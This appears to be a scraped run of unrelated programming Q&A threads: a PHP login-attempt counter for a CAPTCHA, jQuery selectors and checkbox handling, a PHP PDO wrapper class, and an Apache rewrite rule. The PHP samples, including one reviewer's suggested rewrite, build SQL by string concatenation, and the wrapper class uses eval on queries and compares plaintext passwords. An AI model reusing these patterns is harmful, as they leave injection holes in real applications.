Performance degradation was absolutely negligible. If anything, it was the amount of memory being consumed that was to become a concern.

Do you have any more specific information regarding your predicament? We need to define you 'normal' circumstances. The format and nature of the test data would be nice to know, ideally a sample could be supplied. You could define expected amounts of data that the view might contain. Also, some hardware details, here's some of my basic info:

RAM: 2.00GB
Processor: AMD Turion 64 X2 TL-60 2.0Ghz
OS: Windows 7 Ultimate 64bit


Detecting if a CAPTCHA is needed I wish to ask if the code written below has any holes (probably it will be useful for someone else). This code checks, by IP and by userid, if more than 5 attempts within the last 5 minutes were made to login. Every attempt to log in is stored in the history table (MySQL).

The history table is needed only for the purpose of CAPTCHA displaying. ENGINE=InnoDB is chosen for history table.

No indexes were put on Time or userid or remote_addr.

Any suggestions about optimization?

$query1="SELECT id FROM history
    WHERE (Time>date_sub(now(), interval 5 minute))
        AND remote_addr='" . ip2long($_SERVER['REMOTE_ADDR']) . "' limit 6";
//limit 6 is for performance, 6+ means 6, we only care if it less than 5
$result1=mysql_query($query1);
//so we know mysql_num_rows($result1)

$query2="SELECT id FROM history
    WHERE (Time>date_sub(now(), interval 5 minute))
        AND userid='" . $userid . "' limit 6";
//limit 6 is for performance, 6+ means 6, we only care if it less than 5
$result2=mysql_query($query2);
//so we know mysql_num_rows($result2)

$attempts=0; // we want to set up $attempts=maximum of
             // (mysql_num_rows($result1), mysql_num_rows($result2))
if($result1) {
    $attempts=mysql_num_rows($result1);
}
if($result2 && $attempts<mysql_num_rows($result2)) {
    $attempts=mysql_num_rows($result2);
}

// if $attempts is more than 5, then CAPTCHA should be displayed,
// if less then it should not

1, You should create those indexes. Explain shows whether your queries use indexes or not. If you don't have yet maybe you want a cron job which regularly deletes old records from the table. It improves performance too.

2, As others already mentioned on other questions, if possible, use PDO to avoid possible SQL injections.

3, Choose a meaningful names instead of $query1 and $query2 (maybe $remoteAddrQuery and $userIdQuery). It improves code readability a lot. The same is true for $result1 and $result2 ($remoteAddrResults, $userIdResults).

4, Maybe one query would be enough:

$attemptsQuery = "SELECT id FROM history
    WHERE (Time > date_sub(now(), interval 5 minute))
        AND (remote_addr='" . ip2long($_SERVER['REMOTE_ADDR']) . "'
            OR userid='" . $userid . "')
    LIMIT 6";

5, If you don't use the queried records just the count of them use COUNT(*):

$attemptsQuery = "SELECT COUNT(*) as attempts FROM history
    WHERE (Time > date_sub(now(), interval 5 minute))
    ...
    LIMIT 6";

It results a little bit less network traffic between the webserver and the database server and maybe means lower database load.
Of course you have to change mysql_num_rows too.

6, Some comments is unnecessary:

//so we know mysql_num_rows($result2)

7, Instead of commenting create functions whose name say what the comments said. I'd change

$attempts=0; // we want to set up $attempts=maximum of
             // (mysql_num_rows($result1), mysql_num_rows($result2))
if($result1) {
    $attempts=mysql_num_rows($result1);
}
if($result2 && $attempts<mysql_num_rows($result2)) {
    $attempts=mysql_num_rows($result2);
}

to

function getMaxAttempts($result1, $result2) {
    $attempts = 0;
    if ($result1) {
        $attempts = max($attempts, mysql_num_rows($result1));
    }
    if ($result2) {
        $attempts = max($attempts, mysql_num_rows($result2));
    }
    return $attempts;
}

It makes the code more readable.

Note that I've removed the first call of mysql_num_rows($result2) which maybe improves performance a little bit. (Probably PHP caches it.) A vararg function would be better with a loop but I don't know PHP supports it or nor.

8, If there is an error with the queries or with the database server mysql_query will return FALSE. Therefore, there will be no captcha displayed at all:

if ($result1) {
    $attempts = mysql_num_rows($result1);
}

Maybe you want to log and/or show an error message in these cases.


Do not select elements that contain data attributes I have a selector that pulls in all anchor tags that start with the # symbol. I am trying to add a :not selector of some form for elements that have a data attribute. I know I could do the following...

$('a[href^="#"]:not([data-known])')

But the problem is that I don't know what the data attribute will be called. I have resorted to doing the following.

$('a[href^="#"]').click(function(event){
    if($.isEmptyObject($(this).data())){
        //custom code here
    }
});

Is there a way to avoid the if statement and add the :not to the original selector? Is there a better way of doing this period?

Here is a FIDDLE I have been playing in.

Very good question. I'm pretty sure this can't be done within the selector.

However, instead of checking the data every time it's clicked, filter the collection before applying the event listener:

$('a[href^="#"]').filter(function () {
    return $.isEmptyObject( $(this).data() );
}).click(function (event) {
    // Your code here...
});

If you don't care about IE, you can check the dataset property directly, which is much faster and much more reliable, since $(this).data() also contains any arbitrary data that might have been set (possibly by a plugin):

$('a[href^="#"]').filter(function () {
    return $.isEmptyObject( this.dataset );
})

If you find that you have to do this a lot, you can abstract it into a custom filter, which you can then use in your selectors:

jQuery.expr[':']['has-data'] = function (el) {
    return ! $.isEmptyObject( $(el).data() );
    // If you don't care about IE:
    // return ! $.isEmptyObject( el.dataset );
};

Then just use it throughout your code:

$('a[href^="#"]:not(:has-data)').click(function (event) {
    // Your code here...
});


How can I simplify these checkbox onClicks? I know there is a way to simplify these checkbox onClick functions.  I'm just not sure how to make it happen.
Upon checking the checkAllProfiles checkbox, all of the profileCheckboxes are checked:
$('#checkAllProfiles').on('click', function()
{
  $(".profileCheckbox").prop('checked', $(this).prop('checked'));
});

Then, if one of the profileCheckboxes are checked, it unchecks the checkAllProfiles checkbox:
$(".profileCheckbox").on('click', function()
{
  $(".checkAllProfiles").prop("checked", false );
});

Now here is another set of checkboxes that require the same functionality:
$('#checkAllRegions').on('click', function()
{
  $('.regionCheckbox').prop('checked', $(this).prop('checked'));
});

$(".regionCheckbox").on('click', function()
{
  $(".checkAllRegions").prop("checked", false );
});

I want to be able to simplify this code.  How can I do it?

One way to simplify this is you can use a data attribute to group them together with the check all option.
This will allow you to add as many as groups as you want while reusing the same jquery.
Also, you will want to use change and not click as click will be triggered when someone clicks on the radio even if its the same one, but change will only be triggered when a different one is selected by the user.

$(document).ready(function(){
  $(".checkall").on("change",function(){
    $("[data-group=" + $(this).data("group") + "]").prop('checked', $(this).prop('checked'));
  });

  $("input[type=checkbox]:not(.checkall)").on("change",function(){
     $("[data-group=" + $(this).data("group") + "].checkall").prop('checked', false);
  });
});

<input data-group="g1" type="checkbox" name="X" value="1">
<input data-group="g1" type="checkbox" name="X" value="2">
<input data-group="g1" type="checkbox" name="X" value="3">

<input data-group="g1" id="g1checkall" type="checkbox" class="checkall" name="X"> Check All

<input data-group="g2" type="checkbox" name="X2" value="1">
<input data-group="g2" type="checkbox" name="X2" value="2">
<input data-group="g2" type="checkbox" name="X2" value="3">

<input id="g2checkall" data-group="g2" type="checkbox" class="checkall" name="X2"> Check All


class Database extends OneDatabase I'm trying to conform to the Zend Coding Standard as well.

EDIT 2:

<?php

/**
 *    Input   :   Query request
 *    Output  :   A row or a list of rows
 *    Notes   :
 *
 *    Provides escaping and binding via PDO library
 *    Consolidates PDO to use a single calling mechanism
 *    Consolidates all queries to an associative array
 *    Mysqli available for those who wish to implement
 */

class Database extends OneDatabase
{
    private $dbResource;
    public function __construct()
    {
        $this->dbResource = oneDatabase::_get();
    }
    public function getResource()
    {
        return $this->dbResource;
    }
    protected $_sqlArray = array(
        "signin_pass" => "SELECT pass FROM cr WHERE email=?",
        "signin_validate" => "SELECT email,pass FROM cr WHERE email=? AND pass=?",
        "signin_flname" => "SELECT flname FROM cr WHERE email=?",
        "signup_check" => "SELECT * FROM cr WHERE email=?",
        "signup_insert" => "INSERT INTO cr VALUES (?,?,?)",
        "signup_site1" => "INSERT INTO bo VALUES ('Facebook','http://www.facebook.com','',?)",
        "signup_site2" => "INSERT INTO bo VALUES ('Twitter','http://www.twitter.com','',?)",
        "bookmark_delete" => "DELETE FROM bo WHERE name=? AND email=? LIMIT 1",
        "bookmark_insert" => "INSERT INTO bo VALUES (?, ?,'', ?)",
        "bookmark_model" => "SELECT * FROM bo WHERE email=? ORDER BY name ASC",
        "tweet_insert" => "INSERT INTO tw VALUES (?,?,?,?)",
        "tweet_model" => "SELECT * FROM tw ORDER BY time DESC LIMIT 7",
        "create_bookmark" => "CREATE TABLE bookmark(name VARCHAR(64), url VARCHAR(256), tag VARCHAR(256), id INT)",
        "create_credentials" => "CREATE TABLE credentials(id INT NOT NULL AUTO_INCREMENT, flname VARCHAR(60), email VARCHAR(32), pass VARCHAR(40), PRIMARY KEY(id))",
        "create_tweet" => "CREATE TABLE tweet(id INT NOT NULL AUTO_INCREMENT, flname VARCHAR(60), email VARCHAR(32), pass VARCHAR(40), PRIMARY KEY(id))"
    );
    public function _pdoQuery($fetchType, $queryType, $parameterArray)
    {
        $query=$this->_sqlArray[$queryType];
        eval("\$query = \"$query\";");
        if($parameterArray==0)
        {
            $results = oneDatabase::$_database->query($query);
            return $results;
        }
        oneDatabase::$_database->quote($query);
        $pdoStatement = oneDatabase::$_database->prepare($query);
        $pdoStatement->execute($parameterArray);
        if($fetchType=='none')
        {
            $results=NULL;
        }
        else if($fetchType=='single')
        {
            $results = $pdoStatement->fetch(PDO::FETCH_ASSOC);
        }
        else if($fetchType=='multiple')
        {
            $results = $pdoStatement->fetchAll();
        }
        return $results;
    }
    protected function _mysqliQuery($aquery)
    {
        return oneDatabase::$_database->query($query);
    }
}

The good thing about this code is your bracing style which is applied consistently and is visually appealing.  Now on to some improvements:

This code does not implement a Database.  (You have called the class Database, but it does not resemble something that looks like a database).  This class does not really have a good purpose.  If you are going to write a database class it should handle database type things.  Like transactions or methods for select, insert and delete statements etc.

Some other things:

It is not easy to re-use the code.
It contains hard coded values.
It breaks up a logical separation of concerns for your program.
Don't use eval - it is not good for your application security:
eval("\$query = \"$query\";");
oneDatabase::$_database can be replaced by $this->_database as you
are extending that class.
mysqli is mixed in with PDO.  Just use PDO.
databaseCopy is not required
method access should be specified (public, protected, private)

In summary, I think you should re-think your design.


Rewriting domain only if not on local dev enviroment and forcing www with Mod Rewrite I'm trying to write some mod rewrite code to redirect pages on a site to always use www and this has been working fine:

RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]

However, I now want to make sure this doesn't happen on my dev environment, which uses the .local domain extension...

So I changed it to this:

RewriteCond %{HTTP_HOST} !\.local$
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L]

Does that seem correct?

As I understand it, it states: "If it doesn't END with .local AND it doesn't START with www. THEN do the RewriteRule"?

Yes! That is indeed correct. From the docs for RewriteCond:

  'ornext|OR' (or next condition)

  Use this to combine rule conditions with a local OR instead of the
  implicit AND.

The [AND] flag is the default behaviour of combining multiple conditions expressions together.

As for the rule itself, I'd suggest using %{REQUEST_URI} instead of $1 in rewrites:

RewriteCond %{HTTP_HOST} !\.local$
RewriteCond %{HTTP_HOST} !^www\.
RewriteRule ^ http://www.%{HTTP_HOST}%{REQUEST_URI} [R=301,L]